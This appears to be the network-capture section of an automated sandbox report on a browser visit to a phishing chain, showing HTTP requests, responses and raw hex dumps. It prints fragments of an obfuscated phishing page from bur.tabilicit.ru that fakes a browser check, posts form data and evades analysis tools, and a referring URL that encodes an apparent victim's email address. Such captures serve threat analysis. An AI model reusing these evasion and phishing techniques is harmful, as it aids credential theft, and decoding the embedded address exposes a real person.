Jan 11, 2025 01:11:44.838838100 CET	442	OUT	GET /favicon.ico HTTP/1.1 Host: unikuesolutions.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ== Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 11, 2025 01:11:45.015466928 CET	515	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 00:11:44 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	103.83.194.55	80	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:12:29.170691967 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49715	188.114.97.3	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:45 UTC	689	OUT	GET /HgSlh/ HTTP/1.1 Host: bur.tabilicit.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://unikuesolutions.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:46 UTC	1238	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GOBaAQTXdpjPcziCwL7q6WEGlLnPhQsceWZIaZ4jLF07B5tl3fPdZJku6m5JAnMxhKhbkLteXCaVlJpNbx6RVrSHFMbeCIdTVcD9%2F6bowkgoEhqAsxgrIKC1G9U0jw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1201&min_rtt=1171&rtt_var=385&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1594&delivery_rate=2134932&cwnd=251&unsent_bytes=0&cid=90158a3f3a46f7c5&ts=425&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InI4UEdnMDRsNjhrQTl6OFlVeDkyWkE9PSIsInZhbHVlIjoiWVlBcTROTVZrYXc2Rm45YkJNWDFVV2cyVEtNZk91TEtWRms3REJzOEVnSDNhM3dRVmNIa3U1dFY5bndNY2pSdWF6d2sraG83OXJxSkpReW5Jb1VIem9aaXFSclRTdExVTU04dkxXS0J5ZEJwOXRveGJKSGllbldBdVc4RnMwYlciLCJtYWMiOiJiNjZhOGQ5NzlhY2Y5MTEzZWNkOTNjOTM5OTMxODlkMzI5OTVlM2EzZTRhNTc0MjU3ZjE5MTMxMTRjM2Y1MTZjIiwidGFnIjoiIn0%3D; expires=Sat, 11-Jan-2025 02:11:46 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-11 00:11:46 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4e 4c 52 56 4d 7a 52 33 5a 74 52 57 5a 4a 62 31 56 79 63 45 4a 77 56 33 68 61 56 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 30 77 35 64 31 41 31 56 43 74 54 4b 30 78 79 63 44 68 71 4e 7a 6c 35 57 58 68 76 65 55 6c 68 53 6b 4a 59 5a 55 4e 4b 4e 6c 51 33 56 33 68 44 64 55 31 56 52 55 68 6f 63 7a 68 51 52 31 55 31 62 57 74 73 56 47 5a 4d 54 46 4e 32 5a 32 52 42 53 48 46 4b 55 56 42 48 5a 57 5a 59 55 6c 6c 4e 52 58 46 6d 5a 7a 68 4a 57 6a 4d 76 63 54 68 31 53 32 31 78 51 30 39 50 5a 46 64 35 64 57 31 61 64 45 31 31 54 46 64 4c 64 32 35 75 59 30 77 77 5a 6b 59 32 4d 6d 4a 70 53 31 4a 53 53 30 68 6f 62 31 67 78 57 6b 4a 35 52 6d 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InNLRVMzR3ZtRWZJb1VycEJwV3haVGc9PSIsInZhbHVlIjoiS0w5d1A1VCtTK0xycDhqNzl5WXhveUlhSkJYZUNKNlQ3V3hDdU1VRUhoczhQR1U1bWtsVGZMTFN2Z2RBSHFKUVBHZWZYUllNRXFmZzhJWjMvcTh1S21xQ09PZFd5dW1adE11TFdLd25uY0wwZkY2MmJpS1JSS0hob1gxWkJ5Rm4
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 34 65 61 32 0d 0a 3c 21 2d 2d 20 49 6e 6e 6f 76 61 74 69 6f 6e 20 64 69 73 74 69 6e 67 75 69 73 68 65 73 20 62 65 74 77 65 65 6e 20 61 20 6c 65 61 64 65 72 20 61 6e 64 20 61 20 66 6f 6c 6c 6f 77 65 72 2e 20 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 69 64 56 49 75 64 47 46 69 61 57 78 70 59 32 6c 30 4c 6e 4a 31 4c 30 68 6e 55 32 78 6f 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 Data Ascii: 4ea2... Innovation distinguishes between a leader and a follower. --><script>if(atob("aHR0cHM6Ly9idVIudGFiaWxpY2l0LnJ1L0hnU2xoLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 56 53 53 31 5a 4c 52 46 63 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 7a 5a 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 Data Ascii: VSS1ZLRFcuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzZweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87f
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 Data Ascii: 2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgIC
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 70 35 63 57 46 30 59 30 78 72 54 6b 67 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 48 70 35 63 57 46 30 59 30 78 72 54 6b 67 67 4c 53 42 79 64 6b 31 34 64 57 4e 7a 54 33 68 31 49 44 34 67 64 48 46 7a 61 30 46 47 5a 57 70 76 54 53 41 6d 4a 69 41 68 59 56 6c 6e 57 6d 46 56 56 32 4e 68 65 53 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 56 56 5a 7a 55 33 5a 6d 63 6b 4a 34 53 69 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 68 57 57 64 61 59 56 56 58 59 32 46 35 49 44 30 67 64 48 4a 31 5a 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 64 Data Ascii: ICAgICAgIGNvbnN0IHp5cWF0Y0xrTkggPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKHp5cWF0Y0xrTkggLSBydk14dWNzT3h1ID4gdHFza0FGZWpvTSAmJiAhYVlnWmFVV2NheSkgew0KICAgICAgICAgICAgVVZzU3ZmckJ4SiA9IHRydWU7DQogICAgICAgICAgICBhWWdaYVVXY2F5ID0gdHJ1ZTsNCiAgICAgICAgICAgIHd
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 64 56 46 58 55 46 6c 44 51 32 78 4c 63 69 49 2b 44 51 70 46 62 6e 4e 31 63 6d 6c 75 5a 79 42 35 62 33 56 79 49 48 4e 68 5a 6d 56 30 65 53 42 33 61 58 52 6f 49 47 4a 79 62 33 64 7a 5a 58 49 67 64 6d 56 79 61 57 5a 70 59 32 46 30 61 57 39 75 4c 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 Data Ascii: HR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0idVFXUFlDQ2xLciI+DQpFbnN1cmluZyB5b3VyIHNhZmV0eSB3aXRoIGJyb3dzZXIgdmVyaWZpY2F0aW9uLg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2Rpdj4NCjwv
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 41 67 49 43 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 51 54 31 4e 55 49 69 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 59 6d 39 6b 65 54 6f 67 62 6d 56 33 49 45 5a 76 63 6d 31 45 59 58 52 68 4b 45 4a 52 53 32 68 53 61 6e 64 78 52 56 6b 70 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 71 63 32 39 75 4b 43 6b 37 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 6b 59 58 52 68 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 Data Ascii: AgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgYm9keTogbmV3IEZvcm1EYXRhKEJRS2hSandxRVkpDQogICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7DQogICAgfSkudGhlbihkYXRhID0+IHsNCiAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgI
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 6f 4c 73 68 65 4d 41 20 3f 20 77 52 42 47 64 48 74 64 4c 52 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 77 52 42 47 64 48 74 64 4c 52 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 53 75 63 63 65 73 73 20 75 73 75 61 6c 6c 79 20 63 6f 6d 65 73 20 74 6f 20 74 68 6f 73 65 20 77 68 6f 20 61 72 65 20 74 6f 6f 20 62 75 73 79 20 74 6f 20 62 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 74 2e 20 2a 2f 0d 0a 69 66 28 76 4a 61 61 65 69 51 62 6f 4e 20 3d 3d 20 45 4b 4d 6f 4c 73 68 65 4d 41 29 7b 0d 0a 63 6f 6e 73 74 20 45 68 4b 4c 6c 61 41 71 65 44 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 Data Ascii: oLsheMA ? wRBGdHtdLR.hostname : wRBGdHtdLR.hostname.split('.').slice(-2).join('.');/* Success usually comes to those who are too busy to be looking for it. */if(vJaaeiQboN == EKMoLsheMA){const EhKLlaAqeD = window.location.pathname.split('%23')[0].sp
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 34 31 63 6d 56 74 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 32 68 49 59 31 56 53 53 31 5a 4c 52 46 63 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 32 68 49 59 31 56 53 53 31 5a 4c 52 46 63 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 61 45 68 6a 56 56 4a 4c 56 6b 74 45 56 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 Data Ascii: 3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2hIY1VSS1ZLRFcgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2hIY1VSS1ZLRFcgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojaEhjVVJLVktEVyBwe21hcmdpbi10b3A6MDtt
2025-01-11 00:11:46 UTC	1369	IN	Data Raw: 78 73 55 47 68 68 62 6e 52 76 62 53 42 38 66 43 42 33 61 57 35 6b 62 33 63 75 58 33 42 6f 59 57 35 30 62 32 30 67 66 48 77 67 62 6d 46 32 61 57 64 68 64 47 39 79 4c 6e 56 7a 5a 58 4a 42 5a 32 56 75 64 43 35 70 62 6d 4e 73 64 57 52 6c 63 79 67 69 51 6e 56 79 63 43 49 70 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 Data Ascii: xsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49717	151.101.194.137	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:47 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bur.tabilicit.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:47 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2038833 Date: Sat, 11 Jan 2025 00:11:47 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740041-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736554307.267209,VS0,VE6 Vary: Accept-Encoding
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-11 00:11:47 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return 